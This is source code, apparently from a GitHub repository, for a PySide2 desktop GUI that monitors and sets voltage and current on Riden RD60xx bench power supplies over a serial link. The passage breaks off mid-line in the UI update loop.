self.gridLayout_2.setSpacing(3) self.gridLayout_2.setObjectName(u"gridLayout_2") self.gridLayout_2.setContentsMargins(3, 3, 3, 3) self.Live_Box = QCheckBox(self.centralwidget) self.Live_Box.setObjectName(u"Live_Box") self.Live_Box.setEnabled(True) self.Live_Box.setLayoutDirection(Qt.RightToLeft) self.gridLayout_2.addWidget(self.Live_Box, 0, 1, 1, 1) self.horizontalSpacer_2 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.gridLayout_2.addItem(self.horizontalSpacer_2, 0, 2, 1, 1) self.horizontalSpacer = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.gridLayout_2.addItem(self.horizontalSpacer, 0, 0, 1, 1) self.gridLayout_3.addLayout(self.gridLayout_2, 2, 0, 1, 3) self.State_Textual = QGridLayout() self.State_Textual.setObjectName(u"State_Textual") self.Protection = QLabel(self.centralwidget) self.Protection.setObjectName(u"Protection") self.Protection.setFont(font2) self.Protection.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignVCenter) self.State_Textual.addWidget(self.Protection, 1, 1, 1, 1) self.Keypad = QLabel(self.centralwidget) self.Keypad.setObjectName(u"Keypad") self.Keypad.setFont(font2) self.Keypad.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignVCenter) self.State_Textual.addWidget(self.Keypad, 0, 1, 1, 1) self.Keypad_Label = QLabel(self.centralwidget) self.Keypad_Label.setObjectName(u"Keypad_Label") font3 = QFont() font3.setBold(False) font3.setWeight(50) self.Keypad_Label.setFont(font3) self.Keypad_Label.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.State_Textual.addWidget(self.Keypad_Label, 0, 0, 1, 1) self.Constant_Label = QLabel(self.centralwidget) self.Constant_Label.setObjectName(u"Constant_Label") self.Constant_Label.setFont(font3) self.Constant_Label.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.State_Textual.addWidget(self.Constant_Label, 2, 0, 1, 1) self.CCCV = QLabel(self.centralwidget) self.CCCV.setObjectName(u"CCCV") self.CCCV.setFont(font2) self.CCCV.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignVCenter) self.State_Textual.addWidget(self.CCCV, 2, 1, 1, 1) self.Protection_Label = QLabel(self.centralwidget) self.Protection_Label.setObjectName(u"Protection_Label") self.Protection_Label.setFont(font3) self.Protection_Label.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.State_Textual.addWidget(self.Protection_Label, 1, 0, 1, 1) self.gridLayout_3.addLayout(self.State_Textual, 0, 0, 1, 1) self.State_Numeric = QGridLayout() self.State_Numeric.setObjectName(u"State_Numeric") self.State_Numeric.setContentsMargins(-1, -1, 17, -1) self.InputV = QLabel(self.centralwidget) self.InputV.setObjectName(u"InputV") self.InputV.setFont(font2) self.InputV.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.State_Numeric.addWidget(self.InputV, 2, 0, 1, 1) self.Temp = QLabel(self.centralwidget) self.Temp.setObjectName(u"Temp") self.Temp.setFont(font2) self.Temp.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.State_Numeric.addWidget(self.Temp, 1, 0, 1, 1) self.Energy = QLabel(self.centralwidget) self.Energy.setObjectName(u"Energy") self.Energy.setFont(font2) self.Energy.setAlignment(Qt.AlignRight|Qt.AlignTrailing|Qt.AlignVCenter) self.State_Numeric.addWidget(self.Energy, 0, 0, 1, 1) self.gridLayout_3.addLayout(self.State_Numeric, 0, 2, 1, 1) self.verticalLayout = QVBoxLayout() self.verticalLayout.setSpacing(3) self.verticalLayout.setObjectName(u"verticalLayout") self.verticalLayout.setContentsMargins(3, 3, 3, 3) self.V_Set_Label = QLabel(self.centralwidget) self.V_Set_Label.setObjectName(u"V_Set_Label") font4 = QFont() font4.setPointSize(10) font4.setBold(True) font4.setWeight(75) self.V_Set_Label.setFont(font4) self.V_Set_Label.setAlignment(Qt.AlignCenter) self.V_Set_Label.setIndent(-1) self.verticalLayout.addWidget(self.V_Set_Label) self.gridLayout = QGridLayout() self.gridLayout.setObjectName(u"gridLayout") self.gridLayout.setHorizontalSpacing(3) self.gridLayout.setContentsMargins(3, 3, 3, 3) self.v_step_box = QComboBox(self.centralwidget) self.v_step_box.setObjectName(u"v_step_box") sizePolicy2 = QSizePolicy(QSizePolicy.Minimum, QSizePolicy.Fixed) sizePolicy2.setHorizontalStretch(0) sizePolicy2.setVerticalStretch(0) sizePolicy2.setHeightForWidth(self.v_step_box.sizePolicy().hasHeightForWidth()) self.v_step_box.setSizePolicy(sizePolicy2) self.v_step_box.setEditable(False) self.gridLayout.addWidget(self.v_step_box, 1, 1, 1, 1) self.v_min_lab_2 = QLabel(self.centralwidget) self.v_min_lab_2.setObjectName(u"v_min_lab_2") self.v_min_lab_2.setFont(font3) self.v_min_lab_2.setAlignment(Qt.AlignBottom|Qt.AlignHCenter) self.gridLayout.addWidget(self.v_min_lab_2, 0, 0, 1, 1) self.v_max_lab_3 = QLabel(self.centralwidget) self.v_max_lab_3.setObjectName(u"v_max_lab_3") self.v_max_lab_3.setFont(font3) self.v_max_lab_3.setAlignment(Qt.AlignBottom|Qt.AlignHCenter) self.gridLayout.addWidget(self.v_max_lab_3, 0, 1, 1, 1) self.v_max_lab_2 = QLabel(self.centralwidget) self.v_max_lab_2.setObjectName(u"v_max_lab_2") self.v_max_lab_2.setFont(font3) self.v_max_lab_2.setAlignment(Qt.AlignBottom|Qt.AlignHCenter) self.gridLayout.addWidget(self.v_max_lab_2, 0, 2, 1, 1) self.v_min_box = QDoubleSpinBox(self.centralwidget) self.v_min_box.setObjectName(u"v_min_box") self.v_min_box.setDecimals(1) self.v_min_box.setMaximum(62.000000000000000) self.gridLayout.addWidget(self.v_min_box, 1, 0, 1, 1) self.v_max_box = QDoubleSpinBox(self.centralwidget) self.v_max_box.setObjectName(u"v_max_box") self.v_max_box.setDecimals(1) self.v_max_box.setMaximum(62.000000000000000) self.gridLayout.addWidget(self.v_max_box, 1, 2, 1, 1) self.verticalLayout.addLayout(self.gridLayout) self.V_Set_Dial = QDial(self.centralwidget) self.V_Set_Dial.setObjectName(u"V_Set_Dial") sizePolicy3 = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) sizePolicy3.setHorizontalStretch(1) sizePolicy3.setVerticalStretch(1) sizePolicy3.setHeightForWidth(self.V_Set_Dial.sizePolicy().hasHeightForWidth()) self.V_Set_Dial.setSizePolicy(sizePolicy3) self.V_Set_Dial.setMinimumSize(QSize(150, 150)) self.V_Set_Dial.setMaximum(10000) self.V_Set_Dial.setNotchTarget(100.000000000000000) self.V_Set_Dial.setNotchesVisible(True) self.verticalLayout.addWidget(self.V_Set_Dial) self.horizontalLayout = QHBoxLayout() self.horizontalLayout.setSpacing(3) self.horizontalLayout.setObjectName(u"horizontalLayout") self.horizontalLayout.setContentsMargins(3, 3, 3, 3) self.horizontalSpacer_3 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.horizontalLayout.addItem(self.horizontalSpacer_3) self.v_min_lab = QLabel(self.centralwidget) self.v_min_lab.setObjectName(u"v_min_lab") self.v_min_lab.setFont(font2) self.v_min_lab.setAlignment(Qt.AlignRight|Qt.AlignTop|Qt.AlignTrailing) self.horizontalLayout.addWidget(self.v_min_lab) self.horizontalSpacer_4 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.horizontalLayout.addItem(self.horizontalSpacer_4) self.v_max_lab = QLabel(self.centralwidget) self.v_max_lab.setObjectName(u"v_max_lab") self.v_max_lab.setFont(font2) self.v_max_lab.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignTop) self.horizontalLayout.addWidget(self.v_max_lab) self.horizontalSpacer_5 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.horizontalLayout.addItem(self.horizontalSpacer_5) self.verticalLayout.addLayout(self.horizontalLayout) self.verticalSpacer_3 = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding) self.verticalLayout.addItem(self.verticalSpacer_3) self.horizontalLayout_3 = QHBoxLayout() self.horizontalLayout_3.setObjectName(u"horizontalLayout_3") self.horizontalLayout_3.setContentsMargins(3, 3, 3, 3) self.V_Set_SpinBox = QDoubleSpinBox(self.centralwidget) self.V_Set_SpinBox.setObjectName(u"V_Set_SpinBox") font5 = QFont() font5.setPointSize(16) self.V_Set_SpinBox.setFont(font5) self.V_Set_SpinBox.setStyleSheet(u"color: rgb(0, 170, 0);") self.V_Set_SpinBox.setAlignment(Qt.AlignCenter) self.V_Set_SpinBox.setDecimals(4) self.V_Set_SpinBox.setMaximum(100.000000000000000) self.V_Set_SpinBox.setSingleStep(0.100000000000000) self.horizontalLayout_3.addWidget(self.V_Set_SpinBox) self.V_Set_Button = QToolButton(self.centralwidget) self.V_Set_Button.setObjectName(u"V_Set_Button") sizePolicy3.setHeightForWidth(self.V_Set_Button.sizePolicy().hasHeightForWidth()) self.V_Set_Button.setSizePolicy(sizePolicy3) self.V_Set_Button.setFont(font5) self.horizontalLayout_3.addWidget(self.V_Set_Button) self.verticalLayout.addLayout(self.horizontalLayout_3) self.gridLayout_3.addLayout(self.verticalLayout, 4, 0, 1, 1) self.verticalLayout_2 = QVBoxLayout() self.verticalLayout_2.setSpacing(3) self.verticalLayout_2.setObjectName(u"verticalLayout_2") self.verticalLayout_2.setContentsMargins(3, 3, 3, 3) self.I_Set_Label = QLabel(self.centralwidget) self.I_Set_Label.setObjectName(u"I_Set_Label") self.I_Set_Label.setFont(font4) self.I_Set_Label.setAlignment(Qt.AlignCenter) self.verticalLayout_2.addWidget(self.I_Set_Label) self.gridLayout_4 = QGridLayout() self.gridLayout_4.setObjectName(u"gridLayout_4") self.gridLayout_4.setHorizontalSpacing(3) self.gridLayout_4.setContentsMargins(3, 3, 3, 3) self.i_step_box = QComboBox(self.centralwidget) self.i_step_box.setObjectName(u"i_step_box") sizePolicy2.setHeightForWidth(self.i_step_box.sizePolicy().hasHeightForWidth()) self.i_step_box.setSizePolicy(sizePolicy2) self.i_step_box.setEditable(False) self.gridLayout_4.addWidget(self.i_step_box, 1, 1, 1, 1) self.v_max_lab_4 = QLabel(self.centralwidget) self.v_max_lab_4.setObjectName(u"v_max_lab_4") self.v_max_lab_4.setFont(font3) self.v_max_lab_4.setAlignment(Qt.AlignBottom|Qt.AlignHCenter) self.gridLayout_4.addWidget(self.v_max_lab_4, 0, 2, 1, 1) self.v_max_lab_5 = QLabel(self.centralwidget) self.v_max_lab_5.setObjectName(u"v_max_lab_5") self.v_max_lab_5.setFont(font3) self.v_max_lab_5.setAlignment(Qt.AlignBottom|Qt.AlignHCenter) self.gridLayout_4.addWidget(self.v_max_lab_5, 0, 1, 1, 1) self.v_min_lab_3 = QLabel(self.centralwidget) self.v_min_lab_3.setObjectName(u"v_min_lab_3") self.v_min_lab_3.setFont(font3) self.v_min_lab_3.setAlignment(Qt.AlignBottom|Qt.AlignHCenter) self.gridLayout_4.addWidget(self.v_min_lab_3, 0, 0, 1, 1) self.i_max_box = QDoubleSpinBox(self.centralwidget) self.i_max_box.setObjectName(u"i_max_box") self.i_max_box.setDecimals(1) self.i_max_box.setMaximum(19.000000000000000) self.gridLayout_4.addWidget(self.i_max_box, 1, 2, 1, 1) self.i_min_box = QDoubleSpinBox(self.centralwidget) self.i_min_box.setObjectName(u"i_min_box") self.i_min_box.setDecimals(1) self.gridLayout_4.addWidget(self.i_min_box, 1, 0, 1, 1) self.verticalLayout_2.addLayout(self.gridLayout_4) self.I_Set_Dial = QDial(self.centralwidget) self.I_Set_Dial.setObjectName(u"I_Set_Dial") sizePolicy3.setHeightForWidth(self.I_Set_Dial.sizePolicy().hasHeightForWidth()) self.I_Set_Dial.setSizePolicy(sizePolicy3) self.I_Set_Dial.setMinimumSize(QSize(150, 150)) self.I_Set_Dial.setMaximum(10000) self.I_Set_Dial.setNotchTarget(100.000000000000000) self.I_Set_Dial.setNotchesVisible(True) self.verticalLayout_2.addWidget(self.I_Set_Dial) self.horizontalLayout_2 = QHBoxLayout() self.horizontalLayout_2.setSpacing(3) self.horizontalLayout_2.setObjectName(u"horizontalLayout_2") self.horizontalLayout_2.setContentsMargins(3, 3, 3, 3) self.horizontalSpacer_6 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.horizontalLayout_2.addItem(self.horizontalSpacer_6) self.i_min_lab = QLabel(self.centralwidget) self.i_min_lab.setObjectName(u"i_min_lab") self.i_min_lab.setFont(font2) self.i_min_lab.setAlignment(Qt.AlignRight|Qt.AlignTop|Qt.AlignTrailing) self.horizontalLayout_2.addWidget(self.i_min_lab, 0, Qt.AlignVCenter) self.horizontalSpacer_7 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.horizontalLayout_2.addItem(self.horizontalSpacer_7) self.i_max_lab = QLabel(self.centralwidget) self.i_max_lab.setObjectName(u"i_max_lab") self.i_max_lab.setFont(font2) self.i_max_lab.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignTop) self.horizontalLayout_2.addWidget(self.i_max_lab) self.horizontalSpacer_8 = QSpacerItem(40, 20, QSizePolicy.Expanding, QSizePolicy.Minimum) self.horizontalLayout_2.addItem(self.horizontalSpacer_8) self.verticalLayout_2.addLayout(self.horizontalLayout_2) self.verticalSpacer_4 = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding) self.verticalLayout_2.addItem(self.verticalSpacer_4) self.horizontalLayout_4 = QHBoxLayout() self.horizontalLayout_4.setObjectName(u"horizontalLayout_4") self.horizontalLayout_4.setContentsMargins(3, 3, 3, 3) self.I_Set_SpinBox = QDoubleSpinBox(self.centralwidget) self.I_Set_SpinBox.setObjectName(u"I_Set_SpinBox") self.I_Set_SpinBox.setFont(font5) self.I_Set_SpinBox.setStyleSheet(u"color: rgb(0, 170, 255);") self.I_Set_SpinBox.setAlignment(Qt.AlignCenter) self.I_Set_SpinBox.setDecimals(4) self.I_Set_SpinBox.setMaximum(100.000000000000000) self.I_Set_SpinBox.setSingleStep(0.100000000000000) self.horizontalLayout_4.addWidget(self.I_Set_SpinBox) self.I_Set_Button = QToolButton(self.centralwidget) self.I_Set_Button.setObjectName(u"I_Set_Button") sizePolicy3.setHeightForWidth(self.I_Set_Button.sizePolicy().hasHeightForWidth()) self.I_Set_Button.setSizePolicy(sizePolicy3) self.I_Set_Button.setFont(font5) self.horizontalLayout_4.addWidget(self.I_Set_Button) self.verticalLayout_2.addLayout(self.horizontalLayout_4) self.gridLayout_3.addLayout(self.verticalLayout_2, 4, 2, 1, 1) self.line_2 = QFrame(self.centralwidget) self.line_2.setObjectName(u"line_2") self.line_2.setFrameShape(QFrame.VLine) self.line_2.setFrameShadow(QFrame.Sunken) self.gridLayout_3.addWidget(self.line_2, 0, 3, 6, 1) MainWindow.setCentralWidget(self.centralwidget) self.Menu_Bar = QMenuBar(MainWindow) self.Menu_Bar.setObjectName(u"Menu_Bar") self.Menu_Bar.setGeometry(QRect(0, 0, 765, 29)) self.Menu_File = QMenu(self.Menu_Bar) self.Menu_File.setObjectName(u"Menu_File") self.Menu_About = QMenu(self.Menu_Bar) self.Menu_About.setObjectName(u"Menu_About") self.Menu_Help = QMenu(self.Menu_Bar) self.Menu_Help.setObjectName(u"Menu_Help") MainWindow.setMenuBar(self.Menu_Bar) self.Status_Bar = QStatusBar(MainWindow) self.Status_Bar.setObjectName(u"Status_Bar") MainWindow.setStatusBar(self.Status_Bar) #if QT_CONFIG(shortcut) self.V_Set_Label.setBuddy(self.V_Set_Dial) self.I_Set_Label.setBuddy(self.I_Set_Dial) #endif // QT_CONFIG(shortcut) QWidget.setTabOrder(self.V_Set_Dial, self.I_Set_Dial) self.Menu_Bar.addAction(self.Menu_File.menuAction()) self.Menu_Bar.addAction(self.Menu_About.menuAction()) self.Menu_Bar.addAction(self.Menu_Help.menuAction()) self.Menu_File.addAction(self.Action_Quit) self.Menu_About.addAction(self.Action_Settings) self.Menu_About.addAction(self.Action_Serial) self.Menu_Help.addAction(self.Action_About) self.retranslateUi(MainWindow) QMetaObject.connectSlotsByName(MainWindow) # setupUi def retranslateUi(self, MainWindow): MainWindow.setWindowTitle(QCoreApplication.translate("MainWindow", u"RidenGUI", None)) self.Action_Quit.setText(QCoreApplication.translate("MainWindow", u"Quit", None)) self.Action_Settings.setText(QCoreApplication.translate("MainWindow", u"General", None)) self.Action_About.setText(QCoreApplication.translate("MainWindow", u"About", None)) self.Action_Serial.setText(QCoreApplication.translate("MainWindow", u"Serial", None)) self.Action_Set_VI_ranges.setText(QCoreApplication.translate("MainWindow", u"Set GUI V/I limits", None)) self.OutputC.setText(QCoreApplication.translate("MainWindow", u"00.0000", None)) self.OutputV.setText(QCoreApplication.translate("MainWindow", u"00.000", None)) self.OutputV_Label.setText(QCoreApplication.translate("MainWindow", u"V", None)) self.OutputC_Label.setText(QCoreApplication.translate("MainWindow", u"A", None)) self.OutputP.setText(QCoreApplication.translate("MainWindow", u"00.000", None)) self.OutputP_Label.setText(QCoreApplication.translate("MainWindow", u"W", None)) self.OutputS_Button.setText(QCoreApplication.translate("MainWindow", u"Toggle Output", None)) self.Live_Box.setText(QCoreApplication.translate("MainWindow", u"Apply V/I changes in realtime", None)) self.Protection.setText(QCoreApplication.translate("MainWindow", u"None", None)) self.Keypad.setText(QCoreApplication.translate("MainWindow", u"Unlocked", None)) self.Keypad_Label.setText(QCoreApplication.translate("MainWindow", u"Keypad Lock", None)) self.Constant_Label.setText(QCoreApplication.translate("MainWindow", u"CC/CV Status", None)) self.CCCV.setText(QCoreApplication.translate("MainWindow", u"None", None)) self.Protection_Label.setText(QCoreApplication.translate("MainWindow", u"Protection Status", None)) self.InputV.setText(QCoreApplication.translate("MainWindow", u"00.00", None)) self.Temp.setText(QCoreApplication.translate("MainWindow", u"00.00\u00b0C | 00.00\u00b0F", None)) self.Energy.setText(QCoreApplication.translate("MainWindow", u"00.00 Ah | 00.00 Wh", None)) self.V_Set_Label.setText(QCoreApplication.translate("MainWindow", u"Voltage", None)) self.v_step_box.setCurrentText("") self.v_min_lab_2.setText(QCoreApplication.translate("MainWindow", u"min", None)) self.v_max_lab_3.setText(QCoreApplication.translate("MainWindow", u"step", None)) self.v_max_lab_2.setText(QCoreApplication.translate("MainWindow", u"max", None)) self.v_min_lab.setText(QCoreApplication.translate("MainWindow", u"v_min", None)) self.v_max_lab.setText(QCoreApplication.translate("MainWindow", u"v_max", None)) self.V_Set_Button.setText(QCoreApplication.translate("MainWindow", u"Set", None)) self.I_Set_Label.setText(QCoreApplication.translate("MainWindow", u"Current", None)) self.i_step_box.setCurrentText("") self.v_max_lab_4.setText(QCoreApplication.translate("MainWindow", u"max", None)) self.v_max_lab_5.setText(QCoreApplication.translate("MainWindow", u"step", None)) self.v_min_lab_3.setText(QCoreApplication.translate("MainWindow", u"min", None)) self.i_min_lab.setText(QCoreApplication.translate("MainWindow", u"i_min", None)) self.i_max_lab.setText(QCoreApplication.translate("MainWindow", u"i_max", None)) self.I_Set_Button.setText(QCoreApplication.translate("MainWindow", u"Set", None)) self.Menu_File.setTitle(QCoreApplication.translate("MainWindow", u"File", None)) self.Menu_About.setTitle(QCoreApplication.translate("MainWindow", u"Settings", None)) self.Menu_Help.setTitle(QCoreApplication.translate("MainWindow", u"Help", None)) # retranslateUi
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,127
zalexua/RidenGUI
refs/heads/master
/ridengui/main.py
from logging import Formatter from PySide2.QtWidgets import QApplication, QMainWindow, QDialog, QMessageBox, QLabel from ridengui.settings import OpenSettingsDialog from ridengui.serial import OpenSerialDialog from ridengui.main_ui import Ui_MainWindow from PySide2.QtCore import QSettings from threading import Lock, Thread from riden import Riden from sys import exit class MainWindow(QMainWindow): def __init__(self): super().__init__() # Setup UI self.ui = Ui_MainWindow() self.ui.setupUi(self) self.ui.Status_Bar.showMessage("Loading...", 1000) # remember Toogle button text and prepare other things self.OrigButtonName = self.ui.OutputS_Button.text() self.ONStateName = "ON" self.ONStateStyle = "background-color: lime;font-size: 36px;" self.ONStateStyleCC = "background-color: red;font-size: 36px;" self.ONStateStyleCCText = "color:red;" # to keep status bar message permanent self.ui.StBarMessage = QLabel() self.ui.Status_Bar.addPermanentWidget(self.ui.StBarMessage) def setControllsPrecision(self): # precition output formats # display formats on real devices # Model V I P-on<99W P-on>99W # RD6006P 00.000 0.0000 00.000 000.00 # RD6006 00.00 0.000 00.00 000.0 # RD6012 00.00 00.00 00.00 000.0 # RD6018 00.00 00.00 00.00 000.0 def setPerModel(self): def getStepsList(decimals): ilist = [] [base] = [1] for c in range(decimals + 1): ilist.append(str(base)) base = base / 10 return ilist # formats used in main display self.oFCu = f'%.{self.Idecimals}f' self.oFVoPo = f'%.{self.Vdecimals}f' # to be like '%.4f' #fill IV step drop-downs by entries like 1, 0.1, 0.01, 0.001 ilist = getStepsList(self.Idecimals) self.ui.i_step_box.addItems(ilist) self.ui.I_Set_SpinBox.setDecimals(self.Idecimals) self.ui.I_Set_SpinBox.setSingleStep(float(ilist[-1])) vlist = getStepsList(self.Vdecimals) self.ui.v_step_box.addItems(vlist) self.ui.V_Set_SpinBox.setDecimals(self.Vdecimals) self.ui.V_Set_SpinBox.setSingleStep(float(vlist[-1])) model = self.r.type #model = "RD6012" # uncomment for testing if model == "RD6006P": self.Idecimals = 4 self.Vdecimals = 3 setPerModel(self) self.ui.i_max_box.setMaximum(6.1) elif model == "RD6006": self.Idecimals = 3 self.Vdecimals = 2 setPerModel(self) self.ui.i_max_box.setMaximum(6.1) elif model == "RD6012": self.Idecimals = 2 self.Vdecimals = 2 setPerModel(self) self.ui.i_max_box.setMaximum(12.1) elif model == "RD6018": self.Idecimals = 2 self.Vdecimals = 2 setPerModel(self) self.ui.i_max_box.setMaximum(18.1) # Setup menubar actions self.ui.Action_Quit.triggered.connect(self.close) self.ui.Action_Settings.triggered.connect( lambda: OpenSettingsDialog(self.r, self.l)) self.ui.Action_Serial.triggered.connect( lambda: OpenSerialDialog(self.r, self.l)) self.ui.Action_About.triggered.connect( lambda: showAbout()) # Setup SpinBoxes and Dials self.ui.V_Set_SpinBox.valueChanged.connect( lambda v: self.ui.V_Set_Dial.setValue(v * self.r.voltage_multiplier)) self.ui.V_Set_Dial.valueChanged.connect( lambda v: self.ui.V_Set_SpinBox.setValue(v / self.r.voltage_multiplier)) self.ui.I_Set_SpinBox.valueChanged.connect( lambda i: self.ui.I_Set_Dial.setValue(i * self.r.current_multiplier)) self.ui.I_Set_Dial.valueChanged.connect( lambda i: self.ui.I_Set_SpinBox.setValue(i / self.r.current_multiplier)) self.ui.v_step_box.currentTextChanged.connect( lambda v: VStepChanged(self, v)) self.ui.i_step_box.currentTextChanged.connect( lambda v: IStepChanged(self, v)) def limitsChanged(self, value, param, obj): #print("LOCAL:: " + str(value) + " || Sender: " + str(param)) self.settings.setValue(f"limit/{param}", value) readSettings(self) loadLimits(self) self.ui.i_max_box.valueChanged.connect( lambda x: limitsChanged(self, x, "max_current", "i_max_box")) self.ui.i_min_box.valueChanged.connect( lambda x: limitsChanged(self, x, "min_current", "i_min_box")) self.ui.v_max_box.valueChanged.connect( lambda x: limitsChanged(self, x, "max_voltage", "v_max_box")) self.ui.v_min_box.valueChanged.connect( lambda x: limitsChanged(self, x, "min_voltage", "v_min_box")) def showAbout(): msg = QMessageBox() msg.setWindowTitle("About") msg.setText('<a href="https://github.com/ShayBox/Riden"> RidenGUI home page </a>') msg.exec_() # Read settings def readSettings(self): self.settings = QSettings("RidenGUI", "settings") self.port = str(self.settings.value("serial/port", "/dev/null")) self.baudrate = int(self.settings.value("serial/baudrate", 115200)) self.address = int(self.settings.value("serial/address", 1)) self.max_voltage = float(self.settings.value("limit/max_voltage", 1)) self.max_current = float(self.settings.value("limit/max_current", 1)) self.min_voltage = float(self.settings.value("limit/min_voltage", 0)) self.min_current = float(self.settings.value("limit/min_current", 0)) self.v_step = self.settings.value("step/voltage", "1") self.i_step = self.settings.value("step/current", "1") #readSettings(self) # Load max voltage/current def loadLimits(self): self.ui.V_Set_Dial.setMaximum(self.max_voltage * self.r.voltage_multiplier) self.ui.V_Set_SpinBox.setMaximum(self.max_voltage) self.ui.v_max_box.setValue(self.max_voltage) self.ui.v_max_lab.setText(str(self.max_voltage)) self.ui.V_Set_Dial.setMinimum(self.min_voltage * self.r.voltage_multiplier) self.ui.V_Set_SpinBox.setMinimum(self.min_voltage) self.ui.v_min_box.setValue(self.min_voltage) self.ui.v_min_lab.setText(str(self.min_voltage)) self.ui.I_Set_Dial.setMaximum(self.max_current * self.r.current_multiplier) self.ui.I_Set_SpinBox.setMaximum(self.max_current) self.ui.i_max_box.setValue(self.max_current) self.ui.i_max_lab.setText(str(self.max_current)) self.ui.I_Set_Dial.setMinimum(self.min_current * self.r.current_multiplier) self.ui.I_Set_SpinBox.setMinimum(self.min_current) self.ui.i_min_box.setValue(self.min_current) self.ui.i_min_lab.setText(str(self.min_current)) def VStepChanged(self, v): step = float(v) decimals = self.ui.v_step_box.currentIndex() self.ui.V_Set_SpinBox.setSingleStep(step) self.ui.V_Set_SpinBox.setDecimals(decimals) #self.ui.V_Set_Dial.setSingleStep(step) #self.ui.V_Set_Dial.setPageStep(step * 10) # does not help self.settings.setValue("step/voltage", step) def IStepChanged(self, i): step = float(i) decimals = self.ui.i_step_box.currentIndex() self.ui.I_Set_SpinBox.setSingleStep(step) self.ui.I_Set_SpinBox.setDecimals(decimals) #self.ui.I_Set_Dial.setSingleStep(step) #self.ui.I_Set_Dial.setPageStep(step * 10) # does not help self.settings.setValue("step/current", step) try: readSettings(self) # Setup Riden serial library self.r = Riden(self.port, self.baudrate, self.address) loadLimits(self) setControllsPrecision(self) # restore custom VI steps # change if first entry is not with index 0 self.ui.v_step_box.setCurrentText(self.v_step) self.ui.i_step_box.setCurrentText(self.i_step) # call again for cases when first entry is with index 0 (value "1"), to update other GUI elements VStepChanged(self, self.v_step) IStepChanged(self, self.i_step) # disable buttons initially, as they should indicate that values were not changed yet self.ui.V_Set_Button.setDisabled(True) self.ui.I_Set_Button.setDisabled(True) self.l = Lock() message = "Connected to %s using %s | FW: %s | SN: %s" % (self.r.type, self.port, self.r.fw, self.r.sn) self.ui.StBarMessage.setText(message) # Setup UI thread self.t = Thread(target=self.updateUI) self.t.status = True self.t.start() # Setup Buttons self.ui.V_Set_Button.clicked.connect( lambda: V_Set_Button_clicked(self)) def V_Set_Button_clicked(self): with self.l: self.r.set_voltage_set(self.ui.V_Set_SpinBox.value()) current = self.r.get_current_set() if current != self.ui.I_Set_SpinBox.value(): self.ui.I_Set_SpinBox.setValue(current) self.ui.V_Set_Button.setDisabled(True) self.ui.I_Set_Button.clicked.connect( lambda: I_Set_Button_clicked(self)) def I_Set_Button_clicked(self): with self.l: self.r.set_current_set(self.ui.I_Set_SpinBox.value()) voltage = self.r.get_voltage_set() if voltage != self.ui.V_Set_SpinBox.value(): self.ui.V_Set_SpinBox.setValue(voltage) self.ui.I_Set_Button.setDisabled(True) self.ui.OutputS_Button.clicked.connect( lambda: OutputS_Button_clicked(self)) def OutputS_Button_clicked(self): with self.l: is_checked = self.ui.OutputS_Button.isChecked() self.ui.OutputS_Button.setText( self.ONStateName if is_checked else self.OrigButtonName) self.ui.OutputS_Button.setStyleSheet( self.ONStateStyle if is_checked else "") self.r.set_output(is_checked) self.ui.Live_Box.clicked.connect( lambda: Live_Box_clicked(self)) def Live_Box_clicked(self): if self.ui.Live_Box.isChecked(): self.ui.I_Set_Button.hide() self.ui.V_Set_Button.hide() else: self.ui.I_Set_Button.show() self.ui.V_Set_Button.show() except: message = "Failed to connect. Go to Settings -> Serial. Restart is required." self.ui.StBarMessage.setText(message) OpenSerialDialog() def updateUI(self): with self.l: self.r.update() self.ui.V_Set_SpinBox.setValue(self.r.voltage_set) self.ui.I_Set_SpinBox.setValue(self.r.current_set) self.ui.OutputS_Button.setChecked(self.r.output) self.ui.Keypad.setText("Locked" if self.r.keypad_lock else "Unlocked") while self.t.status: constant_string = self.r.constant_string if self.r.output: self.ui.OutputS_Button.setText(self.ONStateName) if constant_string == "CV": self.ui.OutputS_Button.setStyleSheet(self.ONStateStyle) else: self.ui.OutputS_Button.setStyleSheet(self.ONStateStyleCC) else: self.ui.OutputS_Button.setText(self.OrigButtonName) self.ui.Protection.setText(self.r.protection_string) self.ui.CCCV.setText(constant_string) self.ui.CCCV.setStyleSheet( self.ONStateStyleCCText if constant_string == "CC" else "") self.ui.InputV.setText("Input: " + str(self.r.voltage_input) + " V") Vo, Cu, Po = self.r.voltage, self.r.current, self.r.power self.ui.OutputV.setText(self.oFVoPo % Vo) self.ui.OutputC.setText(self.oFCu % Cu) self.ui.OutputP.setText(self.oFVoPo % Po) c, f = self.r.int_temp_c, self.r.int_temp_f self.ui.Temp.setText("Sys temp: "f"{c}°C | {f}°F") ah, wh = self.r.amperehour, self.r.watthour self.ui.Energy.setText(f"{ah}Ah | {wh}Wh") # Syncronize dial/spinboxes to unit if self.ui.Live_Box.isChecked(): if self.r.voltage_set != self.ui.V_Set_SpinBox.value(): with self.l: self.r.set_voltage_set(self.ui.V_Set_SpinBox.value()) current = self.r.get_current_set() if current != self.ui.I_Set_SpinBox.value(): self.ui.I_Set_SpinBox.setValue(current) if self.r.current_set != 